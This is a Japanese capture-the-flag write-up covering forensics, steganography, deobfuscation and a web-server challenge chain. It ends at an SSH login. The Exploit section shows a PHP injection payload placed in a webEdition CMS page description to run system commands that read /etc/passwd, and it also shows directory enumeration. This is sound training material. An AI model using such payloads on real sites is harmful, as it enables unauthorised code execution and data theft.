NTFS.vhd: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x7,254,63), startsector 1, 4294967295 sectors
$

NTFS.vhdを使う問題シリーズは、本問題含めて3問あります。3問の中で本問題に一番困りました。

NTFS.vhdをFTK Imagerで調べると、確かにSample.pptxファイルがあります。しかしSample.pptxを抽出したり、ZIP展開したり、中身の全ファイルをつぶさに調べたりしても、フラグらしいものが全く見当たりませんでした。最初はPPTX中にVBAマクロがあるのかと疑いましたが、それもありませんでした。

NTFSなら代替データストリームを使っているかもしれないと思いました。Windows Sandbox上へNTFS.vhdを持っていってダブルクリックでマウントしようとしましたが、Couldn’t Mount File Sorry, there was a problem mounting the file.エラーでだめでした。ホストへマウントするのも少し怖かったので他の方法を探しました。

困りながら、NTFS.vhd全体を調べていました:

$ strings -tx -wel NTFS.vhd | grep script
14c4968 script
$

問題文で言及されているscriptが見つかりました。ヘキサエディターでそのあたりのアドレスを調べました:

Base64文字列を見つけました。デコードしました:

$ base64 -d
ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ==
flag{data_can_be_hidden_in_ads}
$

状況がわかっていないままですが、フラグを入手できました: flag{data_can_be_hidden_in_ads}

なお、防衛省 サイバーコンテスト 2024 wirteup #CTF - Qiitaによると、Autopsyというツールでは代替データストリーム内容も確認できて、本問題を解けるようです。便利そうです!

[Forensics] NTFS File Delete (135 solved, 10 points)

NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。

問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。

解答形式:flag{XXXXXX}

1 ポイントを消費してヒントを表示する
NTFS ファイルシステムではMFT (Master File Table)と呼ばれるデータベースでファイルを管理しています。

2 ポイントを消費してヒントを表示する
The Sleuth Kit や FTK Imager などのフォレンジックツールは、MFT に残る削除済みデータを表示してくれます。

NTFS.vhdを使う問題シリーズの2問目です。FTK Imagerでは削除済みファイルも表示してくれます:

フラグを入手できました: flag{resident_in_mft}

[Forensics] NTFS File Rename (115 solved, 20 points)

NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。

問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。

解答形式:flag{XXXXXX} (XXXXXX.docxから拡張子を除いた部分をflag{}の中に入れて解答してください)

1 ポイントを消費してヒントを表示する
NTFS ファイルシステムはジャーナリングファイルシステムで、NTFS Log や USN ジャーナルにファイルの変更履歴が記録されています。

NTFS.vhdを使う問題シリーズの3問目です。最初はRenamed.docxのメタ情報などに以前のファイル名があるのかと思っていましたが、ありませんでした。NTFSのジャーナルだったか何かにもしかしたら履歴があるかもしれませんが、そのあたりは全然分かっていません。stringsコマンドで探していました:

$ strings -el NTFS.vhd | grep docx | sort -u
"~$urnaling_system_is_powerful.docx
D<~$urnaling_system_is_powerful.docx
D<~$urnaling_system_is_powerful.docxX
D<journaling_system_is_powerful.docx
D<journaling_system_is_powerful.docxX
.docx
"journaling_system_is_powerful.docx
ling_system_is_powerful.docx
owerful.docx
<Renamed.docx
Renamed.docx
Renamed.docxyst
rnaling_system_is_powerful.docx
_system_is_powerful.docx
ul.docx
urnaling_system_is_powerful.docx
werful.docx
$

それっぽいものが見つかったので提出してみると、正解でした: flag{journaling_system_is_powerful}

なお、防衛省 サイバーコンテスト 2024 wirteup #CTF - Qiitaによると、こちらもAutopsyで解析できるとのことです。便利そうです!

[Forensics] HiddEN Variable (42 solved, 20 points)(ヒント表示で -3 points)

このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。

メモリダンプファイルのダウンロードはこちら: メモリダンプは展開すると 4.5GB 程度になるので注意してください。

解答形式:flag{XXXXXX}

1 ポイントを消費してヒントを表示する
メモリ解析には Volatility というフレームワークがよく使われます。

2 ポイントを消費してヒントを表示する
メモリ内に保存された環境変数を見てみましょう。

配布ファイルとして、memdump.rawがありました。memdump.rawを使う問題シリーズは、本問題含めて2問あります。2問中、本問題に一番困りました。

メモリダンプの解析というわけで、メモリフォレンジックと呼ばれる分野と解釈して、REMnuxに導入済みのVolatility 3 Frameworkを使おうと思いました。vol3 -hで表示される各種プラグインの中から、それらしいものを色々適用しました:

remnux@remnux:~/winshare/work$ vol3 -f memdump.raw windows.info.Info
Volatility 3 Framework 2.5.0
Progress:  100.00       PDB scanning finished
Variable    Value

Kernel Base 0xf80179600000
DTB 0x1ad000
Symbols file:///usr/local/lib/python3.8/dist-packages/volatility3/framework/symbols/windows/ntkrnlmp.pdb/606FF669409B00F7FC8C61A9C1670129-1.json.xz
Is64Bit True
IsPAE   False
layer_name  0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf8017a20f400
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors  4
SystemTime  2023-12-26 00:51:58
NtSystemRoot    C:\WINDOWS
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine  34404
PE TimeDateStamp    Sat Nov 10 19:13:06 2091
remnux@remnux:~/winshare/work$

Windowsのメモリダンプらしいことが分かりました。問題タイトルからEnvironment Variableな雰囲気を感じたので、環境変数を調べました:

remnux@remnux:~/winshare/work$ vol3 -f memdump.raw windows.envars.Envars | tee vol3_windows_envars_Envars.txt
Volatility 3 Framework 2.5.0
Progress:  100.00       PDB scanning finished
PID Process Block   Variable    Value

408 smss.exe    0x21610002900   Path    C:\WINDOWS\System32
408 smss.exe    0x21610002900   SystemDrive C:
408 smss.exe    0x21610002900   SystemRoot  C:\WINDOWS
568 csrss.exe   0x1c52ec031f0   ComSpec C:\WINDOWS\system32\cmd.exe
568 csrss.exe   0x1c52ec031f0   configsetroot   C:\WINDOWS\ConfigSetRoot
568 csrss.exe   0x1c52ec031f0   DriverData  C:\Windows\System32\Drivers\DriverData
(中略)
2816    sihost.exe  0x1747e0e2010   FLAG    BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
(後略)
$ cat vol3_windows_envars_Envars.txt | grep -i flag | cut -d'     ' -f5 | uniq -c
     54 BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
$

というわけで、FLAG環境変数と、明らかに怪しい値BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PSが得られました。ただし、Base64らしい見た目ですが、Base64デコードしても謎のバイト列になります。30分ほど悩みつつメモリダンプを色々調べていましたが、次の問題に関連しそうなものばかり見つかりました。

困った末にヒントを2つとも開きました。環境変数だけ注力すればいいことが分かりましたが、結局BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PSをどうすればいいのかという悩みが再発しました。念のためflag{BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS}を提出してみて、不正解判定をもらったりしました。

万に一つの可能性として、CyberchefではBaseNN系が色々あったことを思い出しました。試していると、From Base58 - CyberChefでデコードできました。「どうしてBase58?」と衝撃を受けながら、フラグを提出して正解できました: flag{volatile_environment_variable}

[Forensics] My Secret (58 solved, 30 points)

問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。

解答形式:flag{XXXXXX}

1 ポイントを消費してヒントを表示する
7-Zip というソフトウェアで何かを行っているようです。

2 ポイントを消費してヒントを表示する
ファイルがダンプできませんか?対象のファイルが小さければ、ファイルシステムアーティファクトのどこかにデータが残っているかもしれません。

memdump.rawを使う問題シリーズの2問目です。

vol3で色々調べているうちに、怪しいものを見つけていました:

remnux@remnux:~/winshare/work$ vol3 -f memdump.raw cmdline
Volatility 3 Framework 2.5.0
Progress:  100.00       PDB scanning finished
PID Process Args

4   System  Required memory at 0x20 is not valid (process exited?)
100 Registry    Required memory at 0x20 is not valid (process exited?)
408 smss.exe    \SystemRoot\System32\smss.exe
(中略)
5516    7z.exe  7z  x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\
(後略)

7z.exeで、Secrets.7zを展開しています。また、パスワードY0uCanF1ndTh1sPa$$w0rdもコマンドライン引数に残っています。問題タイトルの一致具合から、当該ファイルが怪しいと思いました。

メモリダンプからファイルを取得する方法を探していると、Volatility3 で Windows のメモリを解析し、WSL の bash プロセスからコマンド履歴を特定 - かえるのひみつきちを見つけました。windows.filescan.FileScanプラグインと、windows.dumpfiles.DumpFilesプラグインの併用で取得できるとのことです。試しました:

remnux@remnux:~/winshare/work$ vol3 -f memdump.raw windows.filescan.FileScan
Volatility 3 Framework 2.5.0
Progress:  100.00       PDB scanning finished
Offset  Name    Size

0xe206b00d10c0  \SwDevice   216
0xe206b00d1250  \$Directory 216
(中略)
0xe206bba6b1d0  \Users\vauser\Documents\Secrets.7z  216
(後略)
remnux@remnux:~/winshare/work$ vol3 -f memdump.raw windows.dumpfiles.DumpFiles --virtaddr 0xe206bba6b1d0
Volatility 3 Framework 2.5.0
Progress:  100.00       PDB scanning finished
Cache   FileObject  FileName    Result

DataSectionObject   0xe206bba6b1d0  Secrets.7z  Error dumping file
SharedCacheMap  0xe206bba6b1d0  Secrets.7z  file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
remnux@remnux:~/winshare/work$

windows.dumpfiles.DumpFilesプラグインの実行結果でError dumping fileと表示されていますが、どうやらどちらも正常に取得できているようです。

$ ls -l file*
-rwxrwxrwx 1 tan tan   4096 Feb 25 17:17 file.0xe206bba6b1d0.0xe206bb499920.DataSectionObject.Secrets.7z.dat*
-rwxrwxrwx 1 tan tan 262144 Feb 25 17:17 file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb*
$ file *
file.0xe206bba6b1d0.0xe206bb499920.DataSectionObject.Secrets.7z.dat: 7-zip archive data, version 0.4
file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb:   7-zip archive data, version 0.4
$

ファイルサイズこそ異なるものの、どちらも7-Zipを使って適切に展開できました。なお、展開に必要なパスワードは、cmdlineプラグイン時に判明しているY0uCanF1ndTh1sPa$$w0rdです。

展開結果はSecrets.rtfでした。ただ、中身を開いても、exiftoolsを使っても、フラグらしいものはありませんでした。困ったので、ファイルサイズは小さいことですし全部ダンプしました:

$ xxd Secrets.rtf
00000000: 7b5c 7274 6631 5c61 6e73 695c 6465 6666  {\rtf1\ansi\deff
00000010: 305c 6e6f 7569 636f 6d70 6174 7b5c 666f  0\nouicompat{\fo
00000020: 6e74 7462 6c7b 5c66 305c 666e 696c 5c66  nttbl{\f0\fnil\f
00000030: 6368 6172 7365 7431 3238 205c 2738 325c  charset128 \'82\
00000040: 2736 635c 2738 325c 2737 3220 5c27 3936  '6c\'82\'72 \'96
00000050: 5c27 6265 5c27 3932 5c27 6139 3b7d 7d0d  \'be\'92\'a9;}}.
00000060: 0a7b 5c63 6f6c 6f72 7462 6c20 3b5c 7265  .{\colortbl ;\re
00000070: 6432 3535 5c67 7265 656e 3235 355c 626c  d255\green255\bl
00000080: 7565 3235 353b 7d0d 0a7b 5c2a 5c67 656e  ue255;}..{\*\gen
00000090: 6572 6174 6f72 2052 6963 6865 6432 3020  erator Riched20
000000a0: 3130 2e30 2e31 3930 3431 7d5c 7669 6577  10.0.19041}\view
000000b0: 6b69 6e64 345c 7563 3120 0d0a 5c70 6172  kind4\uc1 ..\par
000000c0: 645c 7361 3230 305c 736c 3237 365c 736c  d\sa200\sl276\sl
000000d0: 6d75 6c74 315c 6630 5c66 7332 325c 6c61  mult1\f0\fs22\la
000000e0: 6e67 3137 2054 6869 7320 6973 206d 7920  ng17 This is my
000000f0: 7365 6372 6574 2073 746f 7261 6765 2e5c  secret storage.\
00000100: 7061 720d 0a5c 6366 3120 666c 6167 5c7b  par..\cf1 flag\{
00000110: 796f 755f 6361 6e6e 6f74 5f66 696e 645f  you_cannot_find_
00000120: 7468 6973 5f73 6563 7265 7421 5c7d 5c70  this_secret!\}\p
00000130: 6172 0d0a 7d0d 0a00                      ar..}...
$

最後の方にフラグが入っていました。波括弧をエスケープするためかバックスラッシュが入っているので、除外して提出すると正解でした: flag{you_cannot_find_this_secret!}

[Miscellaneous] Une Maison (158 solved, 10 points)(ヒント表示で -3 points)

画像 maison.jpg の中にフラグが隠されています。探してみてください。

解答形式:flag{XXXXXX}

1 ポイントを消費してヒントを表示する
メタデータやバイナリの解析は必要ありません。

2 ポイントを消費してヒントを表示する
中央に円が見えますが、違和感を覚える箇所がありませんか?

配布ファイルとして、maison.jpgがありました(元ファイルは6000*4000と大きいので縮小しています):

JPGなのでステガノグラフィーを使っている可能性は薄そうです。また、exif情報等を確認しても怪しいものはありませんでした。「実はどこかに普通にフラグが書かれているのか」と考えてじっくり細部を眺めたりしましたが、何も見つかりませんでした。「中央のシマシマ模様がバーコードだったりする?」と思いましたが、バーコードリーダーを持っていないので検証しませんでした。

他の問題へ取り組んだりして一周して戻ってきました。「この問題で消耗するよりも他の問題に取り組みたい」という気持ちが勝ったので、ヒントをすべて開けました。ステガノグラフィー系統は無さそうなことは分かりましたが、建物のデザインが奇抜なので色々な箇所に違和感を覚えます!しばらく悩んだ後、バーコードリーダーを準備することにしました。Google検索してでてきた QRコード&バーコードリーダー - Google Play のアプリ をスマートフォンにインストールして、バーコードかもしれない部分をトリミングしました:

適当にバーコードリーダーをかざしていると、いつの間にか読み込めていて、フラグを入手できました: flag{$50M!}

10点問題ながら苦戦しましたが、Miscらしい問題でした。

[Miscellaneous] String Obfuscation (239 solved, 10 points)

難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。

解答形式:flag{XXXXXXXX}

2 ポイントを消費してヒントを表示する
FLAG 定数の値を出力してみてください。

配布ファイルとして、string_obfuscation.pyがありました:

import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

最後のif sys.argv[1] == KEY箇所の条件にor Trueを追加して実行しました:

$ python3 string_obfuscation.py a
flag{3FxYFm4uTYDFFzmb3}
$

フラグを入手できました: flag{3FxYFm4uTYDFFzmb3}

[Miscellaneous] Where Is the Legit Flag? (117 solved, 20 points)

fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。

解答形式:flag{XXXXXXXX}

2 ポイントを消費してヒントを表示する
2つ目の exec 関数に渡されているバイト列をデコードしてみてください。

2 ポイントを消費してヒントを表示する
デコードしたコードには使われていない値が含まれています。これを出力してみてください。

配布ファイルとして、fakeflag.pyがありました:

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))

2箇所でexecしています。それぞれの内容をREPLで調べると、1つ目はimport zlib, base64、2つ目はexec(zlib.decompress(base64.b64decode(TANAKA)))でした。zlib.decompress(base64.b64decode(TANAKA))結果を調べると、以下の内容でした:

# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
# Above face explain for physical decision.
# Via snake name round terrific brass.
# Following suggestion sound regarding female recess.
# Toward vessel disagree beneath huge porter.
SUZUKI = [74-0+0,
        87*1,int(48**1),
# Off purpose land as rural statement.
        int(8_3),int(32.00000),int('34'),
        76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],
# During knot rely save wretched scarecrow.
        (2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),
        30+5,int(48/2*2),9*9]
#  Plus toe settle with vast insect.
#  Save hands shelter with ratty produce.
#  Outside legs nest versus tranquil relation.
#  As walk pat round rightful advice.
# Beside payment train by large key.
# Past behavior post toward unable home.
#  Among place complain considering unknown current.
( #  Around spark scorch above spotty grape.
    ''#  Underneath jewel chop past dependent rifle.
    .    join                          ([
        #  Since cobweb tie off hurt string.
SATO[i]         #  Since cobweb tie off hurt string.
for i in SUZUKI
        # if i > 4728:
        #     break
        # t = 234667 * 83785
        # print(t/3457783)
#  Through queen dam of slippery comparison.
])
#  By wall stroke without secret wash.
)
#  Opposite yoke need beside superb lumber.
print("flog{8vje9wunbp984}")

最後に出力しているflog{8vje9wunbp984}は、flagではないことから分かる通り、偽物です。さてそれでは本物のフラグがどこにあるのか探してみると、# Around spark scorch above spotty grape.コメントがある丸括弧内部を一切使っていない点が気になりました。評価結果を確認しました:

In [8]: ( #  Around spark scorch above spotty grape.
   ...:     ''#  Underneath jewel chop past dependent rifle.
   ...:     .    join                          ([
   ...:         #  Since cobweb tie off hurt string.
   ...: SATO[i]         #  Since cobweb tie off hurt string.
   ...: for i in SUZUKI
   ...:         # if i > 4728:
   ...:         #     break
   ...:         # t = 234667 * 83785
   ...:         # print(t/3457783)
   ...: #  Through queen dam of slippery comparison.
   ...: ])
   ...: #  By wall stroke without secret wash.
   ...: )
Out[8]: 'flag{PHmN2ILK6vsa}'

フラグを入手できました: flag{PHmN2ILK6vsa}

[Miscellaneous] Utter Darkness (118 solved, 20 points)

画像ファイル darkness.bmp に隠されているフラグを見つけてください。

解答形式:flag{XXXXXX}

2 ポイントを消費してヒントを表示する
カラーパレット表現の BMP ファイル形式について調べてみてください。

配布ファイルとして、darkness.bmpがありました。一見すると真っ黒なファイルに見えました。「青い空を見上げるといつもそこに白い猫」に読み込ませて、ステガノグラフィー解析で色々試してみました:

パレット ランダム配色 動的生成にするとフラグが見えました: flag{YjM5MDUyYzAxMj}

[Network] FileExtract (188 solved, 10 points)

添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。

解答形式:flag{**********}

1 ポイントを消費してヒントを表示する
FTPを使用して、ファイル転送を行っています。

1 ポイントを消費してヒントを表示する
パケットアナライザの追跡機能を使用して、ファイルを抽出してください。

1 ポイントを消費してヒントを表示する
パスワードは平文で流れています。

配布ファイルとして、FileExtract.pcapngがありました。Wiresharkで開いて調べていると、FTPでZIPファイルをダウンロードしていました:

「そのZipファイルの抽出はどうするのが簡単だろう」と思いながらポチポチしていると、メニューの「File→Export Packet Bytes」で取り出せました。今回は1パケットにすべて収まるサイズだったのでこの方法が使えたようです。

さて、Zipファイルを展開しようとするとパスワードを要求されました。pcap中に何かヒントがあるか調べ直していると、FTPログイン時のパスワードがありました:

パスワードが使い回されている可能性を期待してbr2fWWJjjab3でZip展開を試すと、無事に成功しました。Zip中にfl@gというテキストファイルがあり、フラグが書かれていました: flag{6qhFJSHAP4A4}

教育的な問題だと思います。

[Network] Discovery (63 solved, 10 points)

あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。

対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。

解答形式:flag{*.*.*.*, ********: *****} (バージョン番号, リビジョン番号)

1 ポイントを消費してヒントを表示する
Webサイトにうまく接続できない?
ポートスキャンや、curlコマンドの結果をよく読んでみてください。

1 ポイントを消費してヒントを表示する
CMS の管理ページが見つからなければ、ディレクトリ探索を試してみましょう。

10.10.10.21を扱う問題シリーズは、本問題含めて3問あります。

問題文からWebサーバーらしいことが分かるのでとりあえずhttp://10.10.10.21へブラウザアクセスしてみると、http://schatzsuche.ctf/へリダイレクトされ、We can’t connect to the server at schatzsuche.ctf.エラーとなりました。

手動でドメインとの紐づけが必要がありそうなので、Kali Linuxの/etc/hostsファイルへ追記しました:

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.21     schatzsuche.ctf

改めてhttp://schatzsuche.ctf/へアクセスすると、工事中なページが表示されました:

他に何かファイルが公開されていたりしないかを調べました:

┌──(kali㉿kali)-[~/winshare/work]
└─$  gobuster dir -k --url 'http://schatzsuche.ctf/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,html,htm,php,cgi -o gobuster_80_common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://schatzsuche.ctf/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,htm,php,cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.well-known/security.txt (Status: 200) [Size: 268]
/cmsadmin             (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/webEdition/]
/ftp                  (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/ftp/]
/index.html           (Status: 200) [Size: 428]
/index.html           (Status: 200) [Size: 428]
/robots.txt           (Status: 200) [Size: 4700]
/robots.txt           (Status: 200) [Size: 4700]
Progress: 28362 / 28362 (100.00%)
===============================================================
Finished
===============================================================

┌──(kali㉿kali)-[~/winshare/work]
└─$

http://schatzsuche.ctf/ftp/はオープンディレクトリで、その中に認証情報がありました:

$ curl http://schatzsuche.ctf/ftp/
<html>
<head><title>Index of /ftp/</title></head>
<body>
<h1>Index of /ftp/</h1><hr><pre><a href="../">../</a>
<a href="credentials.txt">credentials.txt</a>                                    21-Dec-2023 11:30                  49
</pre><hr></body>
</html>
$ curl http://schatzsuche.ctf/ftp/credentials.txt
[WebEdition account]
webeditor
verystrongpass2024
$

http://schatzsuche.ctf/webEdition/へアクセスするとログインページが表示されました:

FTP側で手に入れた認証情報のwebeditor/verystrongpass2024でログインできました。ログイン後の管理ページを色々見ていると、メニューのHelpInfoからCMSバージョンを特定できました:

問題文記載の方式でフラグを提出すると正解できました: flag{9.2.2.0, Revision: 14877}

ちなみに、http://schatzsuche.ctf/.well-known/security.txtは以下の内容でした:

$ curl http://schatzsuche.ctf/.well-known/security.txt
Contact: mailto:security@example.com
Expires: 2024-02-25T21:00:00+09:00
Acknowledgments: https://www.example.com/hall-of-fame.html
Preferred-Languages: en, jp
Canonical: https://www.example.com/.well-known/security.txt
Hiring: https://www.mod.go.jp/j/saiyou/index.html
$

採用募集中です!

[Network] Exploit (32 solved, 20 points)

クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。

本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。

解答形式:flag{******************}

2 ポイントを消費してヒントを表示する
Exploit-DB

2 ポイントを消費してヒントを表示する
入手したアカウントでは新規ページの作成は制限されていますが、
既存のページを複製することはできるかもしれません。

10.10.10.21を扱う問題シリーズの2問目です。

「前の問題で見つけたWebEditionというCMSを利用してRCEするんだろうなあ」と想像しました。"webedition" RCEでGoogle検索すると、Webedition CMS v2.9.8.8 - Remote Code Execution (RCE) - PHP webapps Exploitを見つけました。

Version: v2.9.8.8とのことで、対象バージョンがものすごく古い思いました。一方で、Date of found: 03.08.2023と比較的最近発見されたことや、CVEが振られていなさそうなことから、未修正である可能性もありそうだと考えました。そういうわけで早速試そうとしたのですが、メニューのNewWebedition pageまでは到達できるものの、サブメニューにempty pageどころか何一つ表示されませんでした!

しばらく困っていました。exploit-dbページではもう1つの例として直接Postする方法も記載されていますが、各種魔法の数字の意味が全く分かりませんし、どこで何を指定しているのかも分かりません。「もしかしたらN-dayの脆弱性があったりするのかも?」と調べたりしてみましたが、Versions-Historie – webEditionを見るに9.2.2は最新バージョンのようです。リビジョン番号までは見ていませんが、セキュリティ関係の問題が修正される場合はマイナーバージョンあたりが上がると思います。

あれこれ悩みながらログイン後の管理ページで色々試した結果です:

  • メニューのNewOtherHTML Pagesはあるものの、拡張子がhtmlshtmlの二択らしく、PHPなどの任意コード実行はできなさそうです。
  • 現状あるページのwebeditor/sample.htmlは、拡張子を.phpへ変更できました。(一度.phpへ変えると、もう.htmlへは戻せないらしい?)
  • ただし、ファイル内容の編集は制限されています。Editタブで、テンプレートに沿って記入できるだけです。テンプレート中に<?php echo system("cat /etc/passwd");?>などを追加して保存しても、保存過程で<?php?>が削除されるらしく、ページ表示を表示してもecho system("cat /etc/passwd");というそのままの内容のみが残っていました。

ここでふと、sample.phpファイルのPropertiesタブに、Description編集箇所があることに気付きました。exploit-db記載のSet as "><?php echo system("cat /etc/passwd");?> Description areaを試せます!Description欄に"><?php echo system("cat /etc/passwd;?>を入力し、SaveボタンとPublishボタンをクリックしてから、左ツリーのsample.php箇所をダブルクリックしてhttp://schatzsuche.ctf/webeditor/sample.phpへアクセスしました:

ついにRCEを達成できました。lsコマンドでフラグらしいファイルを探すと~/flag.txtが存在すると分かったので、cat ~/flag.txtする内容をDescription欄へ書き込んでから、sample.phpへアクセスしました:

フラグを入手できました: flag{G3t_R3v3rs3_Sh3ll}

問題文に記載のあるとおりではあるのですが、数分ごとに環境がリセットされており、そのたびにwebEditionのログインからやり直す必要があるのが大変でした。(リバースシェルは使わなかったのですが、リバースシェルを得ても数分で途切れたりするのでしょうか。あるいはCMSの外なので接続は維持されたのでしょうか。)

[Network] Pivot (19 solved, 30 points)

問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。

クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。

解答方式:flag{***************}

【ログイン情報】

User: george
Password: Mercedes63
3 ポイントを消費してヒントを表示する
SSHサーバー内に機密情報のヒントがあるようです。
不審なテキストファイルがないか探してみましょう。

3 ポイントを消費してヒントを表示する
SSHサーバー内で列挙に使えるコマンドがないか、調べてみましょう。

3 ポイントを消費してヒントを表示する
SSH サーバーで実行できるコマンドは少ないですが、ポートフォワーディングを利用すればうまくいくはずです。

10.10.10.21を扱う問題シリーズの3問目です。とりあえず問題文のとおりにSSH接続してみました:

┌──(kali㉿kali)-[~/winshare/work/Pivot]
└─$  ssh george@10.10.10.21
